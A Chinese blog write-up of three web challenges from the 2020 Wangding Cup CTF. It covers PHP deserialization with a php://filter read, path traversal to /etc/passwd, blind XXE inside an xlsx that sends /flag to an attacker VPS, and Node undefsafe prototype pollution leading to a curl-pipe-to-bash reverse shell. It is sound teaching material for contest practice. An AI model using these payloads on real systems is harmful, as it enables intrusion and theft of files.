网鼎杯2020青龙组writeup-web

本文首发于Leon的Blog,如需转载请注明原创地址并联系作者

AreUSerialz

开题即送源码:

 1 <?php
 2 
 3 include("flag.php");
 4 
 5 highlight_file(__FILE__);
 6 
 7 class FileHandler {
 8 
 9     protected $op;
10     protected $filename;
11     protected $content;
12 
13     function __construct() {
14         $op = "1";
15         $filename = "/tmp/tmpfile";
16         $content = "Hello World!";
17         $this->process();   
18     }
19 
20     public function process() {
21         if($this->op == "1") {
22             $this->write();       
23         } else if($this->op == "2") {
24             $res = $this->read();
25             $this->output($res);
26         } else {
27             $this->output("Bad Hacker!");
28         }
29     }
30 
31     private function write() {
32         if(isset($this->filename) && isset($this->content)) {
33             if(strlen((string)$this->content) > 100) {
34                 $this->output("Too long!");
35                 die();
36             }
37             $res = file_put_contents($this->filename, $this->content);
38             if($res) $this->output("Successful!");
39             else $this->output("Failed!");
40         } else {
41             $this->output("Failed!");
42         }
43     }
44 
45     private function read() {
46         $res = "";
47         if(isset($this->filename)) {
48             $res = file_get_contents($this->filename);
49         }
50         return $res;
51     }
52 
53     private function output($s) {
54         echo "[Result]: <br>";
55         echo $s;
56     }
57 
58     function __destruct() {
59         if($this->op === "2")
60             $this->op = "1";
61         $this->content = "";
62         $this->process();
63     }
64 
65 }
66 
67 function is_valid($s) {
68     for($i = 0; $i < strlen($s); $i++)
69         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
70             return false;
71     return true;
72 }
73 
74 if(isset($_GET{'str'})) {
75 
76     $str = (string)$_GET['str'];
77     if(is_valid($str)) {
78         $obj = unserialize($str);
79     }
80 
81 }

审计代码:

GET方式传参给str,然后调用is_valid()函数判断传入的参数是否在ASCII码32到125之间,也就是数字、大小写字符以及常规符号,然后进行反序列化

但是这里会ban掉不可见字符\00,这个在序列化protected属性的对象时会出现,我们需要绕过它,php7.1+版本对属性类型不敏感,所以本地序列化就直接用public就可以绕过了

然后代码很简单,我们可以序列化构造$op=2和$filename=flag.php,调用read()函数读取flag.php,但是在进行read()之前就会调用__destruct()魔术方法,如果$this->op === “2”就会设置$this->op为”1″,而”1″在process()函数中会调用write()函数,不能读取文件。

审计代码发现:process()函数中使用了不严格相等if($this->op == “2”)

所以基于PHP的特性我们可以构造$op=”2e0”进行绕过

然后就是读取文件了,但是直接相对路径读flag.php没用,不知道为什么

用绝对路径/var/www/html读也没用

我发现404页面有开发文档:https://hub.docker.com/r/nimmis/alpine-apache/

网鼎杯2020青龙组writeup-web

 

 

 

然后发现了web路径:

网鼎杯2020青龙组writeup-web

所以猜测flag.php路径是:/web/html/flag.php

直接读取不行,用伪协议读可以

payload:

 1 <?php
 2 class FileHandler {
 3 
 4     public $op = "2e0";
 5     public $filename = "php://filter/read=convert.base64-encode/resource=/web/html/flag.php";
 6 }
 7 
 8 $a = new FileHandler();
 9 echo urlencode(serialize($a));
10 
11 O%3A11%3A%22FileHandler%22%3A2%3A%7Bs%3A2%3A%22op%22%3Bs%3A3%3A%222e0%22%3Bs%3A8%3A%22filename%22%3Bs%3A67%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fweb%2Fhtml%2Fflag.php%22%3B%7D

返回:

Jmx0Oz9waHANCg0KJGZsYWcgPSAiZmxhZ3s4NmFkMmU5My0yNTk2LTRkNDItODcyYS1hMjJlNWViNTI5Zjh9IjsNCg==

Base64解码得到flag:flag{86ad2e93-2596-4d42-872a-a22e5eb529f8}


 

filejava

打开是一个文件上传页面,看了下页面是java写的,题目名称也说了

上传个文件,然后可以下载,复制下载链接一看:

http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=46ecab01-0932-480e-9509-9e93672e94c8_a.php

可能存在任意文件下载,尝试:

http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../../../../../../../etc/passwd

发现可以下载到/etc/passwd

又根据报错知道是Tomcat于是读取web.xml:

http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml

得到:

 1 <?xml version="1.0" encoding="UTF-8"?>
 2 <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
 3   <display-name>file_in_java</display-name>
 4   <welcome-file-list>
 5     <welcome-file>upload.jsp</welcome-file>
 6   </welcome-file-list>
 7   <servlet>
 8     <description></description>
 9     <display-name>UploadServlet</display-name>
10     <servlet-name>UploadServlet</servlet-name>
11     <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
12   </servlet>
13   <servlet-mapping>
14     <servlet-name>UploadServlet</servlet-name>
15     <url-pattern>/UploadServlet</url-pattern>
16   </servlet-mapping>
17   <servlet>
18     <description></description>
19     <display-name>ListFileServlet</display-name>
20     <servlet-name>ListFileServlet</servlet-name>
21     <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
22   </servlet>
23   <servlet-mapping>
24     <servlet-name>ListFileServlet</servlet-name>
25     <url-pattern>/ListFileServlet</url-pattern>
26   </servlet-mapping>
27   <servlet>
28     <description></description>
29     <display-name>DownloadServlet</display-name>
30     <servlet-name>DownloadServlet</servlet-name>
31     <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
32   </servlet>
33   <servlet-mapping>
34     <servlet-name>DownloadServlet</servlet-name>
35     <url-pattern>/DownloadServlet</url-pattern>
36   </servlet-mapping>
37 </web-app>

之后根据xml中的<servlet-class>把对应class都下载下来,然后反编译

java web目录参考:https://www.cnblogs.com/jpfss/p/9584075.html

1 /DownloadServlet
2 ?filename=../../../classes/cn/abc/servlet/UploadServlet.class
3 ?filename=../../../classes/cn/abc/servlet/ListFileServlet.class
4 ?filename=../../../classes/cn/abc/servlet/UploadServlet.class
5 ?filename=../../../../META-INF/MANIFEST.MF

主要利用点是在UploadServlet.java中有如下代码:

 1 if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
 2   
 3   try {
 4     Workbook wb1 = WorkbookFactory.create(in);
 5     Sheet sheet = wb1.getSheetAt(0);
 6     System.out.println(sheet.getFirstRowNum());
 7   } catch (InvalidFormatException e) {
 8     System.err.println("poi-ooxml-3.10 has something wrong");
 9     e.printStackTrace();
10   } 
11 }

这里考到了CVE-2014-3529类似的漏洞

这部分代码逻辑表示,如果我们的文件名是excel-开始加上.xlsx结尾,就会用poi解析xlsx。

网鼎杯2020青龙组writeup-web

因为提示flag在根目录,正好可以用这个xxe打。不过没回显,所以要引用外部xml盲打xxe。

首先是本地新建一个excel-1.xlsx文件,然后改后缀为zip,然后把[Content_Types].xml文件解压出来

修改[Content_Types].xml的内容为:

1 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2 <!DOCTYPE try[
3 <!ENTITY % int SYSTEM "http://***.***.***.***/a.xml">
4 %int;
5 %all;
6 %send;
7 ]>
8 <root>&send;</root>
9 <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>

 

然后把这个文件再压缩回去,替换掉原来那个,然后把后缀zip改为xlsx

在自己的vps上新建a.xml文件,内容为:

1 <!ENTITY % payl SYSTEM "file:///flag">
2 <!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://59.***.***.***:8500/?%payl;'>">

然后监听8500端口,上传excel-1.xlsx即可收到flag

网鼎杯2020青龙组writeup-web

 

 


notes

考点:CVE-2019-10795 undefsafe原型链污染

参考:https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

app.js源码:

  1 var express = require('express');
  2 var path = require('path');
  3 const undefsafe = require('undefsafe');
  4 const { exec } = require('child_process');
  5 
  6 
  7 var app = express();
  8 class Notes {
  9     constructor() {
 10         this.owner = "whoknows";
 11         this.num = 0;
 12         this.note_list = {};
 13     }
 14 
 15     write_note(author, raw_note) {
 16         this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
 17     }
 18 
 19     get_note(id) {
 20         var r = {}
 21         undefsafe(r, id, undefsafe(this.note_list, id));
 22         return r;
 23     }
 24 
 25     edit_note(id, author, raw) {
 26         undefsafe(this.note_list, id + '.author', author);
 27         undefsafe(this.note_list, id + '.raw_note', raw);
 28     }
 29 
 30     get_all_notes() {
 31         return this.note_list;
 32     }
 33 
 34     remove_note(id) {
 35         delete this.note_list[id];
 36     }
 37 }
 38 
 39 var notes = new Notes();
 40 notes.write_note("nobody", "this is nobody's first note");
 41 
 42 
 43 app.set('views', path.join(__dirname, 'views'));
 44 app.set('view engine', 'pug');
 45 
 46 app.use(express.json());
 47 app.use(express.urlencoded({ extended: false }));
 48 app.use(express.static(path.join(__dirname, 'public')));
 49 
 50 
 51 app.get('/', function(req, res, next) {
 52   res.render('index', { title: 'Notebook' });
 53 });
 54 
 55 app.route('/add_note')
 56     .get(function(req, res) {
 57         res.render('mess', {message: 'please use POST to add a note'});
 58     })
 59     .post(function(req, res) {
 60         let author = req.body.author;
 61         let raw = req.body.raw;
 62         if (author && raw) {
 63             notes.write_note(author, raw);
 64             res.render('mess', {message: "add note sucess"});
 65         } else {
 66             res.render('mess', {message: "did not add note"});
 67         }
 68     })
 69 
 70 app.route('/edit_note')
 71     .get(function(req, res) {
 72         res.render('mess', {message: "please use POST to edit a note"});
 73     })
 74     .post(function(req, res) {
 75         let id = req.body.id;
 76         let author = req.body.author;
 77         let enote = req.body.raw;
 78         if (id && author && enote) {
 79             notes.edit_note(id, author, enote);
 80             res.render('mess', {message: "edit note sucess"});
 81         } else {
 82             res.render('mess', {message: "edit note failed"});
 83         }
 84     })
 85 
 86 app.route('/delete_note')
 87     .get(function(req, res) {
 88         res.render('mess', {message: "please use POST to delete a note"});
 89     })
 90     .post(function(req, res) {
 91         let id = req.body.id;
 92         if (id) {
 93             notes.remove_note(id);
 94             res.render('mess', {message: "delete done"});
 95         } else {
 96             res.render('mess', {message: "delete failed"});
 97         }
 98     })
 99 
100 app.route('/notes')
101     .get(function(req, res) {
102         let q = req.query.q;
103         let a_note;
104         if (typeof(q) === "undefined") {
105             a_note = notes.get_all_notes();
106         } else {
107             a_note = notes.get_note(q);
108         }
109         res.render('note', {list: a_note});
110     })
111 
112 app.route('/status')
113     .get(function(req, res) {
114         let commands = {
115             "script-1": "uptime",
116             "script-2": "free -m"
117         };
118         for (let index in commands) {
119             exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
120                 if (err) {
121                     return;
122                 }
123                 console.log(`stdout: ${stdout}`);
124             });
125         }
126         res.send('OK');
127         res.end();
128     })
129 
130 
131 app.use(function(req, res, next) {
132   res.status(404).send('Sorry cant find that!');
133 });
134 
135 
136 app.use(function(err, req, res, next) {
137   console.error(err.stack);
138   res.status(500).send('Something broke!');
139 });
140 
141 
142 const port = 8080;
143 app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

通过上面参考链接可知undefsafe包,版本<2.0.3有原型链污染漏洞

谷歌一下undefsafe,它的基本功能是取出字典中的对象或者更新字典中的对象:

 1 var object = {
 2   a: {
 3     b: [1,2,3]
 4   }
 5 };
 6 
 7 // modified object
 8 var res = undefsafe(object, 'a.b.0', 10);
 9 
10 console.log(object); // { a: { b: [10, 2, 3] } }
11 //这里可以看见1被替换成了10

参考:https://github.com/remy/undefsafe

审计代码发现由于/status路由下有命令执行:

 1 app.route('/status')
 2     .get(function(req, res) {
 3         let commands = {
 4             "script-1": "uptime",
 5             "script-2": "free -m"
 6         };
 7         for (let index in commands) {
 8             exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
 9                 if (err) {
10                     return;
11                 }
12                 console.log(`stdout: ${stdout}`);
13             });
14         }
15         res.send('OK');
16         res.end();
17     })

所以可以通过污染commands这个字典,例如令commads.a=whoami,然后访问/status它会遍历执行commands字典中的命令

/edit_note下可以传三个参数,调用edit_note(id, author, raw) 函数,然后使用了undefsafe进行字典的修改

因为undefsafe操作的对象可控,所以我们可以进行原型链污染

payload:

1 id=__proto__&author=curl ip/a.txt|bash&raw=123
2 //a.txt内容为:
3 bash -i >& /dev/tcp/ip/port 0>&1

反弹shell,flag在根目录下


 

trace

这个是insert注入,好像复现不了了orz

 

上一篇:攻防世界Web进阶区题目Writeup(持续更新)


下一篇:【HMS推送服务】让非华为手机也用上HMS推送 原生上使用华为推送PUSH miPUSH FCM